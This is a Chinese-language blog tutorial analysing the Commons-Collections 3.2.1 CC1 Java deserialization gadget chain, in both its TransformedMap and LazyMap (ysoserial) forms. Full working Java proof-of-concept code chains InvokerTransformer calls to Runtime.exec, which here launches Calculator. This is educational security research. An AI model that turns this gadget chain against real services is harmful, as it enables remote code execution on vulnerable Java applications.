前言
看p牛的学习路线还是先入手了cc链
apache commons-collections组件下的反序列化漏洞,自从该组件被爆出漏洞后,许多安全研究员相继挖掘到java多种组件的漏洞,危害严重。本人还是刚接触java安全不久,所有有理解偏差的地方望留言指出,感谢!
环境
jdk1.8._065(我用了openjkd对应的版本的src,这样调试的时候就很好跟进了)
commons.collections:3.2.1
首先我们还是得知道反序列化漏洞产生的原因
核心还是在于调用不同类的同名方法最后导致代码执行
在CC1中也是这样,通过一个可以任意代码执行的地方反过来找到的触发点
分析过程
我们先了解一下:https://blinkfox.github.io/2018/09/13/hou-duan/java/commons/commons-collections-bao-he-jian-jie/#toc-heading-9
首先我们得知道需要rce的前提是Runtime.getRuntime().exec()
然后再来看看普通反射如何调用
然后根据cc1的利用链可以知道其中最重要的是Transformer接口
可以看见它调用了一个transform方法
可以找到在InvokerTransformer中有个类似后门的地方
很标准的java反射,作者应该是想作为java动态的考虑设置的,从而成为了漏洞利用点
再来看看参数需求
需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表,所以我们来看看这个触发点
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.InvocationTargetException;
public class Cc1Test {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}).transform(r);
}
}
测试成功
现在就是找不同类的同名transform方法看看有无利用点,再以此回推到最先的readObject方法,链子就算成功啦
然后在TransformedMap中找到三个利用的,再来看看
但是由于它的构造方法是protected属性的,所有我们采用它的静态方法来访问
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
然后再通过put方法来赋值来达到它能进入到transformKey或者transformValue中就能调用;
所有来试试
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
public class Cc1Test {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime r = Runtime.getRuntime();
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
HashedMap hashedMap = new HashedMap();
Map decorate = TransformedMap.decorate(hashedMap, exec, null);
decorate.put(r,"value");
}
}
输出
这里再往前面找就很多put方法,到这里就被迫换一个,然后还在TransformedMap类中有个checkSetValue函数同样调用了transform方法
再跟进checkSetValue,发现进入了它父类AbstractInputCheckedMapDecorator中的一个实现类MapEntry的setValue方法
然后我们怎么来实现setValue方法呢
先了解一下java中遍历map的方法:https://blog.csdn.net/weixin_56921066/article/details/116427289
其中有一个使用Map.Entry的方法刚好契合,所以咱们来试试
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;
import java.util.Map;
public class Cc1Test {
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
HashedMap hashedMap = new HashedMap();
hashedMap.put("key","value");
Map<Object,Object> decorate = TransformedMap.decorate(hashedMap, null, exec);
for(Map.Entry entry:decorate.entrySet()){
entry.setValue(r);
}
}
}
输出
这里就java的继承机制,可以看成是对Map类的setValue方法进行重写了,所有会直接进入MapEntry类的setValue方法,从而进入我们之前的checkSetValue,到这里前面都能连起来了
现在的意思是我们需要找到一个可以以这种方式遍历我们自己的"map",就可以走到我们的setValue的方法
现在就是找我们的setValue,发现有一个AnnotationInvocationHandler的readObject里面有个有个遍历数组的功能并对它值调用了setValue方法,这不就是梦中情类吗
我们来看看它的构造函数
第一个是接收一个class对象,另一个的接收一个Map,这个Map就可以放我们的一个自己构造的"map"
但是要注意由于它是defult类型的,只能通过反射获取
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Override.class, decorate);
到这步之后我们需要解决几个问题,我们知道Runtime并未继承Serializable接口,不能直接被序列化和反序列化
还有就是需要利用成功AnnotationInvocationHandler,有两个地方需要注意
首先我们来解决Runtime不能序列化的问题,我们知道对应的class对象可以被序列化,所有对Runtime我们需要反射调用这个类
Class clazz = Runtime.class;/
Method getRuntime = clazz.getMethod("getRuntime", null);
Runtime invoke = (Runtime) getRuntime.invoke(null, null);
Method exec = clazz.getMethod("exec", String.class);
exec.invoke(invoke,"/System/Applications/Calculator.app/Contents/MacOS/Calculator");
然后我们再改成InvokerTransformer().transform()的形式
Method getRuntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime invoke = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}).transform(invoke);
现在这个Runtime的问题解决了,我们发现是transform的循环调用,这样写有点复杂,在ChainedTransformer里有一个循环递归调用的地方刚好契合,可以拿来替代
封装之后的代码如下
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
这个问题解决了,我们再看第二个地方,断点调试到这里发现是null,进不去
memberTyp是对注释的成员变量然后进行比较,所有我们需要换一个有成员方法的注解,并把我们之前的key值改为该成员变量名即可绕过
这个注解符合再次断点调试,明显第二次绕过了,第三处那个if我们本来就强转不了,可以进到那个setVlue方法,这里我们需要来看看如何控制这个参数,发现在ConstantTransformer中可以利用
然后它的transform方法
嵌套一个这个类,这样就能返回得到我们构造的东西了,所有demo:
package org.example;
import com.sun.javafx.tools.packager.Param;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
public class Cc1Test {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashedMap hashedMap = new HashedMap();
hashedMap.put("value", "value");
Map<Object, Object> decorate = TransformedMap.decorate(hashedMap, null, chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Retention.class, decorate);
Serializable(o,"test.bin");
Unserializable("test.bin");
}
public static void Serializable(Object object,String filename) throws IOException {
OutputStream out = new FileOutputStream(filename);
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(object);
objOut.close();
}
public static Object Unserializable(String filename) throws IOException, ClassNotFoundException {
InputStream in = new FileInputStream(filename);
ObjectInputStream objIn = new ObjectInputStream(in);
Object obj = objIn.readObject();
return obj;
}
}
测试
最终利用链为
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
TransformedMap.decorate()
Map(Proxy).entrySet()
MapEntry.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
ysoserial中的LazyMap
上面那条链子已经一步一步的很透彻了
看看这条链子的利用链
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
很明显这两条链子相差不是很大,只是把我们的TransformedMa替换为了LazyMap而已,我们再来看看,发现被调用的地方在这里
但是要利用它我们需要不能传入已经存在的key,然后需要找到入口,看它的链子它是在AnnotationInvocationHandler.invoke()中找到的入口
这里确实是我们能够控制的,但是我们需要怎么调用这个invoke呢,其实只需要一个动态代理
sun.reflect.annotation.AnnotationInvocationHandler这个类实际上就是一个InvocationHandler,可以通过Proxy类的newProxyInstance来动态创建代理,
当这个被代理的对象调用任意方法时,就会调用对应InvocationHandler里的invoke方法,所以在此处可以进入到AnnotationinvocationHandler的invoke方法里去,之间需要一个无参调用才能绕过中间那个异常达到get方法
很巧,还是AnnotationinvocationHandler类的readObject方法里有个无参方法,所有外面再套一层
所有最终:
package org.example;
import com.sun.javafx.tools.packager.Param;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class Cc1Test {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashedMap hashedMap = new HashedMap();
Map<Object, Object> decorate = LazyMap.decorate(hashedMap, chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Override.class, decorate);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, (InvocationHandler) o);
Object o2 = declaredConstructor.newInstance(Override.class,mapProxy );
//Serializable(o2,"test.bin");
Unserializable("test.bin");
}
public static void Serializable(Object object,String filename) throws IOException {
OutputStream out = new FileOutputStream(filename);
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(object);
objOut.close();
}
public static Object Unserializable(String filename) throws IOException, ClassNotFoundException {
InputStream in = new FileInputStream(filename);
ObjectInputStream objIn = new ObjectInputStream(in);
Object obj = objIn.readObject();
return obj;
}
}
测试
其实就和它的原poc一样的原理了,只是它是工具,有些其他封装的调用罢了,cc1就到这了
声明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担! 本网站采用BY-NC-SA协议进行授权!转载请注明文章来源! 图片失效请留言通知博主及时更改!